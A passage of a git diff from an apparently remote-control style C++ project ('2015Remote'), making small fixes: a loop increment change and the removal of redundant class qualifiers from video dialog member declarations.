NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh; - for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) { + for (int i = 0; i < m_lstDropDownButton.GetSize(); ++i) { stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i); diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h index 4dbb3d4..b287f59 100644 --- a/server/2015Remote/VideoDlg.h +++ b/server/2015Remote/VideoDlg.h @@ -152,11 +152,11 @@ public: LPBITMAPINFO m_BitmapInfor_Full; BYTE* m_BitmapData_Full; BYTE* m_BitmapCompressedData_Full; - void CVideoDlg::ResetScreen(void); - void CVideoDlg::OnReceiveComplete(void); - void CVideoDlg::DrawDIB(void); + void ResetScreen(void); + void OnReceiveComplete(void); + void DrawDIB(void); - void CVideoDlg::InitCodec(DWORD fccHandler); + void InitCodec(DWORD fccHandler); HDC m_hDC; HDRAWDIB m_hDD;